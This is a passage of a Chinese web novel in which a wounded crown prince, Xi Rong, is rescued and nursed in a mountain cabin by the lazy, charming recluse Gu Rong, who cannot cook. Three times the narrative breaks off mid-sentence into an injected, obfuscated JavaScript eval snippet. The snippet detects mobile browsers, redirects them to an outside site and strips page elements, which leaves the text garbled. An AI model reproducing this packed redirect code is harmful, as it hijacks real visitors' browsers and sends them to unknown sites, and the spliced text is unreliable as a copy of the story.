因事关重大,一个不慎便会引火烧身,此事便是在东宫内部,目前也只有宋阳一人知晓。 “臣派了很多线人查探,今日,终于得到一点线索。” 宋阳道。 9.遇刺(二) 宋阳详细禀报了情况。 末了道:“那村民描述的位置虽有些像,但松州境内山太多,此事又只是传闻,并未有人真正见过那批宝藏,臣也不敢保证,一定有收获。” “孤自然明白。” “然这样一本万利的豪赌,不赌一赌,孤如何甘心。” 奚融望着渐被暮色吞噬的窗外,直接下令:“准备一下,明日就进山。” 宋阳自然知晓兵贵神速的道理,但仍有些迟疑:“明日,会不会太急了些?殿下的身体……” 奚融毕竟刚发完病,宋阳有些不放心。 “孤无事。” 奚融负在身后的手缓缓收紧:“孤只怕,夜长梦多。” “臣遵命。” 宋阳自然明白这批宝藏的重大意义。 殿下这些年受文人集团排挤,以武开路,可无论打仗还是养兵,都需要耗费大量银钱。如果这批宝藏真的存在,围绕殿下和东宫最大的难题将迎刃而解。 —— 顾容回到山中居所已是傍晚,不出意外,离家数日,家门又被山里不知名野猪冲开,小院里他新种的瓜苗被踩踏大半,东倒西歪,可怜兮兮拖着残躯埋在土里,晾晒药草的架子也整个散架,箩筐翻倒,形形色色的药草落了满地。 至于挂在架子上的两条肉干,果然已不见踪迹。 顾容摇头叹了口气,眼看瓜苗是拯救无望,只能重新种了,便只把药草捡起,重新摆到箩筐里,移到高处。 做完这些,顾容才推开门,回到自己用来睡觉看书的小木屋里。 小木屋依着山洞而建,面积虽不大,却五脏俱全,以洞口为分界线,分割成内外两间,外面放着书架书案等物,里面则是睡觉的地方,摆着一张石床。 顾容一个人住,唯一的伙伴便是一只常年游荡在外四处勾搭山里漂亮母猫的公狸猫,点亮油灯,没有看到狸猫踪影,顾容便知这没良心的家伙又出去浪了,根本没有给他看家的自觉。 一路走上山,两条腿都是酸的。 顾容小时候便柔弱娇气,长大了也没好多少,若非必要,能躺着绝不坐着,能坐着绝不站着,揉了揉腿和肩膀,随便就着清水吃了两块梅花糕当晚饭,便倒在石床上,闷头大睡。 半夜隐隐约约感觉有团东西蹦上了床,顾容猜测多半是他的花狸猫回来了,伸手一捞,果然捞到一团毛绒绒热乎乎的物什,也懒得睁眼,直接轻车熟路将狸猫搂进怀里,翻了个身,继续蒙头大睡。 大约下趟山真是累坏了,这一觉,顾容竟然一直睡到次日午后才醒。 且是被人摇醒的。 怀里狸猫已经不见踪迹,大约又跑出去搔首弄姿卖弄风情了。 顾容揉揉眼,打个哈欠坐起,接着伸了个长长的懒腰,才意外看向床边将他摇醒的两个小豆丁,一个扎着小辫子,是个小丫头片子,一个是个牙还没长齐的小子。 是山里猎户的一对儿女。 “我说,扰人清梦,可不礼貌,你们要作甚?” 顾容带着起床气问。 两人也不说话,直接将顾容拖下床,拉着顾容往外走。 下山路上,顾容总算从两个小豆丁你一言我一语磕磕绊绊的急切描述中搞明白了情况,山脚下有人受伤了,恰被在河边玩耍的小豆丁发现。 因为顾容略懂一些蹩脚的医术,之前给受伤的猎户治过伤,两个小豆丁便将他视为神仙下凡,他解释了很多遍他不是,两个小豆丁也听不明白。 这回也是。 “受伤了应该找大夫,找我没用。” 顾容不是很想过去,昨日走了趟山路,他腿还酸着呢。 最紧要的,他那蹩脚的医术,救人真的不够用,万一耽搁了人家,岂不是要坏事。 两个小豆丁却一人抱一只手,紧攥着他不放。 顾容拿出杀手锏,眼睛一弯:“你们松开我,我请你们吃糖好不好?” 不料两个小豆丁竟一反常态,想都不想,就一起摇头。 “你是小神仙,你怎么能见死不救!” 良心有一点,但不多的顾容:“……” “好了。” 顾容认命点头。 “你们松开我,我跟你们过去还不成么。” “你们这样拉着我,我都走不动,我袖子都被你们扯掉了。” 两个小豆丁还是不动。 顾容:“谁说谎谁变小狗,总行了吧。” 两个小豆丁这才点头,松开了手。 顾容拢了拢衣裳,因为睡得太久,感觉一半骨头都还软着,又打一个哈欠,跟着两人往山下走去。 到了山下已是半个时辰后。 两个小孩带着顾容七绕八绕,来到一条位于山坳深处位置十分荫蔽的小溪边。 到了地方,顾容就看到溪边石碓上有一滩血,却不见有人影。 两个小孩也傻了眼。 “明明刚才还在这里呀……” 从血迹范围来看,这人伤得多半还不轻,顾容打量一圈,若有所思,让两个小孩在原地等着,自己去找人。 这条溪夹在两片石壁之间流出,他们所处是靠近下游的位置,一面是山,一面是桃林。 顾容直接进了桃林里。 走了没多远,果然看到前方一株桃树下坐着一个人,似乎是个年轻男子,一身玄色,置身于满地落英间,头微垂,背靠在树干上,一手持剑,剑尖插于地,是一个戒备的姿势。 顾容停在五步之外,问:“你还好么?” 没有回应。 顾容低头,看到了被桃花掩盖的几点血迹。 “足下还好么?” 顾容又问了一遍。 还是没有回应。 顾容眉尖轻一蹙,猜测对方多半是伤势太严重,昏迷了过去。 在处理外伤上,他还算有些经验,当下不再犹豫,走上前,伸手,试探着,轻轻拍了下对方肩膀。 那玄色衣料下的肌肉似乎极细微抽搐了下,但人依旧毫无反应。 “喂。” “醒醒。” 还是不动。 顾容也终于看清,对方一臂和腰腹处都在往外渗着血。 又一阵桃花雨落下。 对方似乎终于意识到有人靠近,极缓慢抬起头,露出一张英俊苍白如浸寒霜的脸。 看清对方真容一霎,顾容“咦”一声,露出极诧异之色。 “兄台,怎么是你?” 奚融全凭强悍意志支撑,才坚持走到此地,可惜他失血过多,又在冷溪里泡了许久,此刻,只觉耳边这道模糊不清的声音遥远如在天际。 接着,便不受控制堕入了黑暗之中。 只盼遇着的不是个恶人。 昏迷前最后一瞬,奚融冷静而残酷想。 —— 奚融常年习武,体魄强健,虽然这次受伤颇重,但刻在骨子里的谨慎和警惕依然在关键时刻发挥着作用,并未昏睡太久。 醒来时,他手中尚握着自己的佩剑,发现四周一片昏暗,头顶上方似乎是一片洞壁,而他则躺在一张陌生的石床上。 旁边石案上亮着一盏油灯,散发着昏黄光芒,这让奚融确信,自己的确是获救了,所处之地,应当是一间由山洞改造的简易房间。 一股浓郁的草药味道从外飘来。 奚融撑着坐起,发现自己臂上和腰腹处已经缠了厚厚的药带。 隔着毫无遮掩的洞口,他看到在和石洞相连的木屋内,一道瘦削的蓝色身影正背对着他、盘膝坐在一张草席上,宽大袖袍委垂于地,手里握着把蒲扇,一手托腮,一手对着泥炉扇火。席边还搁着一个小小的酒坛。 泥炉上则放着一个陶瓷罐,咕噜咕噜沸腾着,冒着白色热气。 空气里弥漫的药草味儿,显然就是从里面飘出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882099|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大约扇了有一会儿功夫了,年轻小郎君外袍有些松落,露出一段莹白雪颈,脚边还趴着一只颇为肥硕的狸猫。 那猫儿颇是顽皮,不时翻开肚皮,伸出爪子,去扯少年衣袖玩。 “阿狸,不许胡闹。” 一声轻斥。 接着少年拿起酒坛,似乎想喝口酒,但举着倒了半天,一滴也没有倒出来,便摇头丢到了一边。 花狸猫便又用爪子去扒拉酒坛。 受伤势影响,奚融头尚有些昏沉,但听到这道声音,竟隐约觉得有些熟悉。 生来便处腥风血雨之中,奚融习惯掌控一切,只要有一丝理智尚存,就绝不容许自己陷入被动或失控状态。 他试着活动了一下手臂,试图扶剑起身。 山阿剑与石床相撞,发出一道锵然声响。 这动静立刻惊动了外面的一人一猫。 顾容扭过头,见人果然醒了,立刻搁下蒲扇,起身走了过来,眼眸不掩欣喜:“兄台你醒了!” 那狸猫也跟着蹿来,蹲在主人脚边,一双猫瞳幽幽盯着奚融。 奚融动作倏一顿。 “是你。” 素来指挥若定、泰山崩于前都不变色的太子罕见带了丝意外道。 顾容点头,眼睛弯弯。 “是啊,兄台受了伤,失血过多,在山脚下晕了过去。” “看来,我与兄台缘分匪浅,这么快就又见面了。” 奚融想到什么。 “原来,那两个小孩要找的‘小神仙’是你。” 顾容略心虚挠挠头。 “谬赞而已,兄台别听他们瞎说。” 奚融昏迷时都紧绷着没有半点松懈的肌肉暗暗卸了些力道。 点头道:“你说得对,我们缘分不浅。” “今日我能得救,真的要多谢你。” 说完,他缓缓从怀中取出一物。 顾容看清后一愣。 那竟是一块沾血的……桂花糖? “这是?” “你送我的,这么快就忘了?” 奚融眼睛一眯。 顾容自然记得,但——他恍然明白过来另一件事,轻哼:“我说那两个小鬼怎那般反常有骨气,原来是收了你的糖!” 奚融没有否认。 “你是如何把我弄到这里的?” “恰好有牛车路过,我请他们帮忙把你运上来了。” “真是多谢你了。” 顾容洒脱道:“不必客气,还好只是外伤,若是太复杂的病,我也弄不来。兄台你感觉怎样?好些了么?” 奚融已经恢复从容之色。 再度点头:“好多了。” “那就好。” 顾容亦松口气。 接着视线落在奚融握剑的手上,半玩笑道:“兄台你不累么?睡觉时都不肯把剑放下,我也不敢强夺,怕你打我。” “让你见笑了。” 奚融低头,将剑搁到膝上,缓缓擦掉上面残留的血色,才松开手道:“实在是被仇家追杀,不敢放松警惕。” “一定吓到你了吧。” 他温声问。 顾容摇头:“吓到不至于,我就是替兄台累得慌,怕兄台你误伤自己。” “对了,药快好了,我给兄台端过来,兄台趁热喝了,否则这么严重的伤,晚上很容易起热的。” 说完,顾容就转身去外面取药了。 花狸猫打量奚融两眼,也优雅迈着碎步跟了上去,俨然此间另一个主人一般。 奚融坐在石床上,开始认真打量自己所在的这间石洞。 洞内面积不算大,只摆着一张石床并一张石案,连凳子也没有,显然只是用来睡觉的地方,地面则是裸露的坑洼碎石道,未经过任何修整。 虽能遮风避雨,但作为居所,委实简陋了些。 奚融想。 10.山居(一) 顾容很快将汤药端来。 奚融以为会烫,却不料温度不冷不烫,正适宜喝。 “放心,我吹过了,不会烫嘴的。” 顾容抱臂笑吟吟道。 奚融一顿,诧异于他的细心,端着药碗喝了口苦涩的药汁,问:“这里便是你的家么?” 顾容点头。 “是啊,家徒四壁了些,还望兄台勿要嫌弃。” 奚融摇头。 “小郎君说笑了。” “你家里其他人呢?” “其他人?” 换顾容摇头。 “没有其他人,家里就我一个。” 奚融动作又一顿,意外:“就你一个?你父母呢?” “咳……我很小的时候就与他们失散了。” “你可以当他们不存在。” 奚融点头。 “是我失言了。” 顾容满不在乎道:“这有什么,我不忌讳这些的,且一个人也有一个人的好处,自由自在,无拘无束,想睡到几时就睡到几时,旁人还羡慕不来呢。倒是兄台你,到底招惹了什么仇家,竟受这么重的伤?” 奚融垂目,视线落在山阿剑上,眼梢流出一缕冷意,道:“我仇家太多,一时还判断不出是哪家,不过,应当是宿仇最深的那家。我其实做了防备,但仍百密一疏。” “是不是又吓到你了?你不问缘由,便救我回来,就不怕惹上麻烦?” 他抬眼,冷意散去,语调又转为温和。 顾容认真听他说,还是眉眼弯弯的:“我胆子没那么小,而且,我孑然一身,有什么可怕的。兄台你又是请我吃肉又是给我付房钱饭钱,我若见死不救,岂不是太没良心了。” 奚融挑眉。 “胆子真这么大?” “倒是我轻看小郎君了。” 顾容用手指比划,语气带了丝调皮:“也就大那么一点点,也不是很大。” 见奚融已经把药喝完,便主动将空碗取过来,道:“这药喝了容易犯困,兄台赶紧休息吧,我去弄些吃食,兄台你一定饿了。” “你还会做饭?” “当然!” 虽然说得一副身经百战、游刃有余的模样,但出了石洞,到了外间小木屋,顾容就开始发愁。 因他其实并不怎么会做饭。 平日在家,都是随便吃点东西垫肚子,实在懒得动了,啃野果子都是常有的事。 比如昨日到今早,都是吃的从山下带回来的那两盒梅花糕。 可总不能给病人吃梅花糕或啃野果子,而且那糕还是人家送的,显得太失礼了。 唯一能拿得出手待客的两根肉条已经被野猪洗劫一空,顾容抓抓脑袋,在屋里翻来找去,搜刮一圈,总算在墙角一个不知放了多久的瓦罐里找到点已经快要见底的陈年旧米。 虽然数量严重告急,好歹够煮一锅粥了。 等明日……再想明日的法子便是! 灶台垒在屋外,还是之前住在这里的人留下的,顾容很少用。草草收拾了下,还算顺利生起了火。 花狸猫也竖着尾巴上蹿下跳,跟在主人身后忙活,不亦乐乎。 顾容熬了一锅粥,剩下的米原本想蒸了当主食,结果火候失当,米粘在锅底,直接被烤成了又焦又硬的锅巴。 虽住在山里,但十指也没怎么沾过水的顾小公子:“……” 花狸猫绕着灶台转来转去,在那一锅底已经看不出原料的锅巴新鲜出炉时,喵喵两声,似乎也在嘲笑主人厨艺。 顾容也愁。 这样的东西,如何能给病人吃。 然而他家里实在没其他吃的了,只能硬着头皮将锅巴铲出来,单独盛到一个碗里,又把米粥回锅,加大火,熬得更浓稠些,浓缩成一碗,端进洞里。 奚融正坐在石床上闭目调息,那柄长剑已经被他放到身侧。 不说话时,没有声音加持,他下颌线条清晰而锋利浸在一室昏光中,眉眼脸容自带的已经透入骨髓的冷峻之气充分流露了出来。 顾容将粥放到一旁石案上,忍着心虚,道:“兄台你吃些东西吧。” 奚融缓缓睁开眼,锐利眉峰勾出一双寒目。 但视线落到那碗粥上时,眸底寒意瞬间散去,转为淡淡笑意。 “这是你做的?” “对……” “怎么只有一碗,你自己不吃么?” 顾容面不改色道:“我不爱喝粥,另做了别的,兄台你自用,我就不打搅你了。” 奚融:“你不在这里吃?” “咳,不了,我去外面。” “阿狸,走了。” 顾容招呼一声,大狸猫身影敏捷一闪,跟了上去。 奚融盯着那蓝色身影消失,才重将视线定格到那碗粥上。 石案就挨着石床,他伸手就能够到。 粥熬的很浓稠,想必花费了不少时间。 他虽常年处于血雨腥风之中,身为储君,衣食住行自然考究,倒是很久没见过这么简朴的家常便饭了。 奚融端起粥碗,正要浅尝一口,忽垂目,轻一挑眉。 嗯。 这味道…… 似乎有些烧糊了? 顾容也没想到,自己煮个粥都能搞出岔子。 心虚回到外间的木屋后,取了块梅花糕丢给花狸猫,自己则对着那一碟子黑乎乎惨不忍睹锅巴叹气。 只望那位兄台受伤鼻子不好使,千万别闻出来味道。 他哪里知道熬粥也得看火候。 好在时间一点点过去,里面都没有传出什么特别动静。 花狸猫优雅啃着梅花糕。 顾容苦哈哈啃自己做的黑锅巴。 吃了两块,实在难以下咽,顾容一口气灌了半碗清水,看着时间已经过去挺久,悄悄起身到洞口,狸猫也贴着墙紧随其后,被顾容竖指挥退,往内看去,就见石床上年轻男子已经开始新一轮的闭目调息,而原本摆在石案上的粥碗,已经空了。 顾容长松一口气,又悄悄走开。 还好,没被发现! 否则要丢死人了。 顾容心情好了许多,捏起一块黑乎乎的锅巴,丢给花狸猫。 花狸猫看了眼,嫌弃地走开了。 顾容:“…………” 有没有一点同甘共苦的精神! —— 大约那汤药真有催眠作用,奚融运功完毕,竟很快睡去,等再睁开眼,已经是次日清晨。 石洞里虽依旧昏昏暗暗的,但因为与木屋相连,依旧可以清晰分辨出日夜。 奚融经过一夜休息和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890711|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数论调息,已经可以勉强下地行走,他看了眼依旧静静置于身侧分毫未被动过的山阿剑,起身下了石床。 和洞里不同,木屋已经一片透亮。 奚融环顾一圈,视线忽一顿。 窗下一方小小的食案后,少年一身蓝色宽袍,伏案而睡,通身笼在晨光之中,外袍松松散散挂在身上,那段莹白若玉的雪颈便又露了出来,睡得正香甜,脚边则趴伏着一只大花猫。 看到奚融出来,那猫慢腾腾站起,竖起尾巴,一双猫瞳警惕望着男人。 见男人毫无后退迹象,狸猫轻轻迈出一小步,对着男人狠狠龇了下牙,凶相毕露。 奚融低笑。 “倒是个知道护主的。” 这一人一猫对峙的动静到底惊醒了顾容。 “阿狸,不可无礼!” 顾容忙将狸猫赶到一边,拢起衣袍起身,看着奚融道:“真是失礼,竟不小心睡了过去,兄台你怎么起来了?当心牵动伤口。” “已经好多了。” “还要多谢你辛苦照料。” 奚融道。 接着眸微微一沉,露出些自责色:“怪我占了你的床,才让你睡在这里。” 顾容道:“无妨的,我睡觉不挑地方。” 奚融视线紧接着落到食案上还剩了大半碟的黑乎乎的物什上。 “这是?” 顾容咳咳两声:“没什么,一点干粮,喂猫的。” 偏花狸猫好像听懂了似的,直接挥出一爪子,打翻了盆里硕果仅存的黑暗猫粮,以表强烈抗议。 顾容:“……” 奚融何等明察秋毫,心思何等缜密。 只略略一想,他便明白过来,长眉一挑:“难道这就是昨日小郎君给自己做的‘别的东西’?” 顾容简直恨不得找条地缝钻进去。 面上越要表现的云淡风轻,淡定点一下头。 “嗯,没错。” “本来想分这家伙一些的,谁料这家伙不识货。” “是有些不知好歹了。” 奚融走过去,极自然地,伸手拿起一块。 顾容:“……” “兄台你作甚?” 奚融道:“我尝尝,这比米粥还好吃的东西是何物。” 顾容:“…………” “别。” 顾容瞳孔剧震。 “兄台还在病中,不宜吃这——” 晚了。 顾容听到一声脆响,奚融已经将那焦糊糊一片送进了口中,似乎还当成什么美食,认真品尝了起来。 救命。 顾容已经想伸手捂住眼睛。 他要怎么向人家解释,他原本是打算蒸饭团来着。 哪个正常人能把饭团蒸成这样。 但预料中的惊讶和惊吓并没有出现,他反而听到一声慢条斯理的:“嗯,焦香可口,还不错。” “…………” 顾容看怪物一般看着对面身量足高出他一头的男子。 想,难道那伤没坏了嗅觉,反而坏了这位兄台的味觉了? 花狸猫也看傻了眼,猫身因巨大震惊一哆嗦,歪头,看傻子一般看着奚融拿起第二块,神色自如送进口中,并风度翩翩品尝起来。 仿佛那真是什么稀世美味。 11.山居(二) 所幸奚融没再吃第三块,顾容迅速将剩下的全部倒进猫盘里,正色道:“兄台有伤在身,不宜吹风,还是赶紧躺着休息吧。” 奚融一笑:“放心,一点外伤而已,不至于站不起来。” “昨夜为了照顾我,应该很辛苦吧。” 顾容摇头。 “我也只会熬一些简单的汤药而已,还是兄台你自己体格强健,没有起热,省了大麻烦。” “那也要多谢你。” 奚融环视一圈,见木屋靠墙位置摆着一面七层高的书架,上面堆满各类书卷,便问:“你也喜欢读书?” 顾容道:“都不是什么正经书,随便看着玩玩而已。” 奚融走过去,略略一扫,见架子上果然摆着许多市坊间流行的通俗话本并游记杂谈一类的书,确实不见几本“正经书”。除了这些,书架上还有很多医书,但看起来也非正经医典。 但奚融也是博览群书之人,很快敏锐捕捉到,有几本杂谈类的书目,看着平平无常,封皮古旧,实则集各家所长,融会贯通,一些见解非常独到,其中一本,因年代久远,文字佶屈聱牙,鲜少被人置于书架之间,连他也是一个极偶然的机会才拾得一本。 但在这座书架上,这些杂谈都摆在正中最显眼的位置,显然是为了方便拿取。 奚融暗暗一挑眉。 有趣。 面上却是不显,转身问:“早上咱们吃什么,想好了么?” 话题转得太突然,顾容:“……” 顾容再度心虚不已。 因家里仅剩的米都已经被他嚯嚯完了。 眼下唯一的出路,似乎就是厚着脸皮去附近猎户家里借点米粮,运气好说不准还能得点野味。 虽然……就算运气好,他也完全不会烹煮那些野味。 但这不重要。 万物皆可煮。 总有法子弄熟。 乍听奚融这么问,顾容正想怎么胸有成竹假装淡定地把人敷衍住,再出门化缘,就听奚融接着道:“我在这里养伤,不好白吃白喝。” “这样吧,我传个信,让人送点现成的吃食过来。” 他似乎习惯了发号施令。 顾容:“这个……” 奚融:“我游历江湖,不喜欠债,如果你拒绝,那我只能离开了。” “好!” 这回顾容应得很爽快。 “那我就不与兄台客气了,我先去看看药!” 一人一猫直接往院子里而去。 奚融隔着支开的木窗看了眼,才发现小院里晾晒着很多药草,难怪此间一直弥漫着淡淡药香,挥之不去。 —— 宋阳与周闻鹤已经带人在山间寻找了整整一夜,一夜未睡,两人俱是灰头土脸,狼狈无比,哪里还有半点东宫幕僚的体面。 昨日在得知宝藏的线索后,奚融便换上便装,带着宋阳、姜诚并一支暗卫来到了位于松州西郊的这座山里,谁料他们进山不久,就遭遇了刺客伏击。 那些刺客来势凶猛,招招夺命,关键时刻,奚融拔出山阿,连斩数人,命喝令姜诚和暗卫全力保护不会武功的宋阳,等击退刺客,众人也走散,失了奚融踪迹。 宋阳立刻让姜诚将此行所带暗卫全部调集过来,寻找太子。 到傍晚,暗卫终于找到被太子弃于林间的马,太子依旧不见踪迹。 宋阳一颗心如坠寒冰。 殿下坐骑是一匹上等乌骓宝马,一向认主,随殿下南征北战多年,如果不是到了迫不得己的极危险时刻,殿下不会轻易弃马。 且如果殿下在附近,乌骓应当能寻到主人,而不是在原地焦躁不安地嘶鸣徘徊。 “都怪我!” 宋阳红着眼,面如死灰,彻底失了一向镇定。 “若不是为了救我这累赘,殿下怎会孤身应敌。” 周闻鹤有心宽解,又不知能说什么,如果殿下真的出了事,或落入刺客之手,后果将不堪设想,他们这些人,也都万死难恕其罪。 “宋先生!” 这时,姜诚骑着一骑快马穿林而来,方正面上因激动渗着热汗:“殿下传信来了!” “什么!” 宋阳和周闻鹤一齐从地上跳起。 姜诚翻身下马,来到二人面前,手里握着一个竹管,道:“殿下用东宫的信鹰送来的。” 东宫豢养着一批信鹰,此次出行,他们也带了两只。 没想到殿下虽弃了马,却设法召到了信鹰。 宋阳立刻道:“快看看,殿下写了什么。” 既能传信,证明殿下眼下应当性命无虞。 姜诚点头,打开封口,从内取出一张卷着的纸条,展开看,果是殿下笔迹,不由目露欣喜,但看到后面,神色却转为困惑古怪。 “殿下说了什么?” “殿下说,他被人所救,已经脱离危险,让二位先生不必担心,但——殿下让二位先生继续带人作出找人假象,然后……让我买些现成吃食,给他送去。” 纸条背面画着一个简单的位置图。 姜诚不免奇怪。 殿下既是被人所救,怎会没有饭吃。 难道是遇着了什么揭不开锅的贫苦人家? 宋阳则与周闻鹤对望一眼:“看来,殿下并不想暴露他已经脱险的事,那就吩咐下去,所有人不得泄露半点消息,继续‘全力搜寻殿下’。” —— 一个时辰后,姜诚拎着买好的酒食,循着路线图,来到了一座位于半山腰的小院前。 没错,他还拎着一坛酒,是殿下特意吩咐他买的。 姜诚越发奇怪。 殿下都受了伤,怎么还饮酒。 这与殿下一惯严于律己的作风完全不符。 要不是那字迹确系殿下笔迹无误,他都要怀疑信中内容有诈。 正是正午,小院里空无一人。 姜诚上前敲门,等了片刻,门从内打开,一道冷峻身影出现在门后。 姜诚一惊,立刻要跪下行礼。 被奚融止住。 姜诚紧接着看到了奚融身上缠的药带,神色一变。 “殿下——” “无事,皮肉伤而已。” “进来吧。” “步子放轻些。” 奚融又吩咐。 姜诚不敢多问,恭敬应是,跟着奚融往内走去,尽量让自己不发出一点动静。 他武艺高强,这个要求对他来说不是什么难事。 他只是奇怪,殿下缘何有此吩咐。 联想到主人都没露面迎客,反而是殿下一个重伤之人给他开的门,便猜测,屋里住的难道是什么行动不便的老弱病残? 等进了木屋里,奚融让姜诚去摆酒食,自己则进了里面石洞。 石洞和木屋相连,并无遮挡,姜诚恭敬摆着酒食,余光偷偷一扫,才发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895310|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那石洞里的石床上竟睡着一个人,只是不是想象中的老弱或病残,而似乎是个年轻的小郎君,以侧躺的姿势,双腿微屈,枕臂而眠,蓝色广袖顺着一段白皙腕,沿石床边缘垂落下来,几乎挨到地面。 显然睡得正是香甜。 那小郎君腿边,还趴伏着一只十分肥硕的大花猫。 是真肥。 姜诚还没见过这么胖的猫。 一人一猫抵足而眠,虽然是一副十分美好的画面,但姜诚看得满脑门问号。 难道那就是这屋子的主人? 可受伤的不是殿下吗? 怎么殿下忙前忙后,带伤操劳,那主人反而在酣然大睡? 仿佛殿下才是此间主人一般。 出于一个属下的忠诚,姜诚本能皱眉。 觉得这主人也太不识礼数了些。 难怪殿下会让他送吃食过来,他若不来,以这主人调性,殿下还不得饿死。 “容容,起来吃饭了。” 下一瞬,姜诚听到,素以冷峻著称的殿下,以近乎宠溺的语气道了一句。 姜诚正摆盘子的手都哆嗦了下,几乎怀疑自己耳朵出了问题。 殿下—— 他英明神武的殿下,是被人夺舍了么。 容容。 这一声陌生而久远的称呼,令顾容有些茫然惊醒。 睁开眼,他意识到自己似乎是躺着的,不由大为奇怪。 他煎完药,似乎有些困,分明是如昨夜一般,直接伏在食案上睡着的,怎么会躺在床上。 一定是错觉。 然而身下熟悉的触感是如此清晰真实。 顾容拢衣起身,“咦”一声,发现自己竟真的是躺在石床上。 怎么回事? 再抬眼,就看到了站在床前的奚融。 奚融问:“醒了?” 顾容:“……” 顾容挠挠头:“我……” “我怎会在这里?” 奚融以极稀松的语气道:“窗口风大,不宜久眠,我便将你抱来了这里。” 抱…… 对方带着那么重的伤,竟然还能把他抱过来。 顾容简直不知该吃惊更多还是难为情更多。 最重要的是,他对这一切竟一无所知。 这实在太失礼了。 “让兄台见笑了。” 顾容尴尬至极道了句。 他骨子里似乎带有极好的教养,站起身,郑重赔罪,目间写满懊恼,好似一个犯了大错的学生。 “无妨。” 奚融眼眸含笑。 “昨夜若非我占了你的床,害你没睡好,你也不会犯困。” “如何,还困么?” 顾容摇头,又想找条地缝钻进去。 奚融:“那就去吃饭吧?” 顾容点头。 都是现成的热食,不需要费多少工夫摆弄。 姜诚站在外间屋里,已经做好充分心理准备,双眉紧拧,充满审视,想去看一看这不靠谱到极致的主人究竟是何妨神圣。 不管饭不管事也就罢了,这人,竟然不靠谱到让重伤的殿下抱他去睡觉?! 然纵然做足了准备,在看到那随殿下一道出来的年轻小郎君脸容一霎,姜诚仍然惊讶瞪大眼。 此间主人,竟是那在松州城里骗吃骗喝都骗到殿下头上的小骗子? 难怪这么不靠谱! 12.山居(三) 顾容自然也第一时间认出姜诚。 拱手,笑吟吟与他作礼:“原来是这位兄台。” “是啊,又和小郎君见面了。” “这回真是多谢小郎君救了我家公子。” 虽然心里觉得这小郎君实在不靠谱,姜诚还是郑重回礼道谢。 并禁不住在心里感叹,这是什么孽缘。 世上人千千万,竟偏偏是这小郎君救了殿下。 还真是出人意料。 顾容笑眯眯道:“这大约就是传说中的‘有缘千里来相会’,上回与两位兄台相谈甚欢,一见如故,这回,咱们又有机会把酒言欢了。只望兄台别嫌我这里简陋就行。” 姜诚道:“岂敢,在下看小郎君这里风景秀丽,倒是一处极佳居所。” 姜诚这话倒是出自真心。春来万物复苏,草木葳蕤,在这山间表现得尤为明显,这座位于半山腰的小院,依山而建,夹在两峰之间,上有飞瀑,下有清溪,远离市井喧嚣,颇有世外桃源之感,只是踏足其间,便令人耳目一新。 如果主人能靠谱一些,就更好了。 “公子,小郎君,请先用膳吧。” 意识到奚融还站着,姜诚忙恭敬退到一边,请奚融入座。 奚融却先看向顾容:“看看,合不合口味。” 顾容近前略扫了一眼,见除了几样常见热菜,还有粉蒸肉、酱烧鱼、酒糟鹅、四喜丸子……和一小坛酒,便露出诧异色:“怎这般丰盛?” 姜诚道:“时间匆忙,属下只来得及备这些,公子且将就吃些。” 这话显然是对奚融说的。 顾容啧啧感叹。 “这还算将就?” “兄台,你很富有啊。” 奚融一笑:“就当我略尽薄意,谢你的救命之恩,这酒是特意给你买的,尝尝味道如何。” 顾容馋酒,当即眼睛一弯,揽袖坐下,道:“那我就不客气了。” 姜诚在一边听得一愣。 殿下命他买酒,原是买给这小骗子喝的。 顾容问:“兄台,你不坐下一道吃么?” 姜诚这点眼色还是有的,道:“谢小郎君盛情,在下已经吃过了。” “属下服侍公子用膳。” 姜诚要替奚融布菜。 被奚融阻止:“这是在外面,没那么多讲究。” “可公子的伤……” “无妨。” “是。” “那属下去外面等着公子。” 姜诚知道,奚融用膳时不喜被打扰,如是道。 奚融点头,算是默许。 等姜诚出去,顾容道:“兄台,你家规矩好严啊。” 奚融反问:“怎么?你不喜欢规矩太严?” 顾容摇头。 “不是不喜欢,是我这样没规矩惯了的,最怕被人管东管西,也容易遭人嫌弃。” 一边启开酒坛,给自己倒了碗酒。 奚融又一笑。 “无规矩不成方圆。” “不过,你不必遵守。” 顾容扬眸:“嗯?” 奚融道:“我的意思是,你若去我家里,不必守任何规矩,不用怕。” “为何?” “你和他们不同。” “有何不同?” “我说不同,便是不同。” “……” 顾容忍不住笑道:“兄台,你可真有趣。” 奚融沉默了下,忽道:“你叫谁都是‘兄台’么?” 两人这般在山间小屋里同案而食,颇有些闲话家常的气氛。 顾容点头。 “这不是一种很常见的尊称么。” “有问题么?” “没问题。” 奚融饮了口茶。 “但也有一点问题。” “你见人就叫兄台,会让我分辨不出,你是不是在叫我。” “也许,你对我可以换个称呼。” 顾容不解。 “换个称呼?” 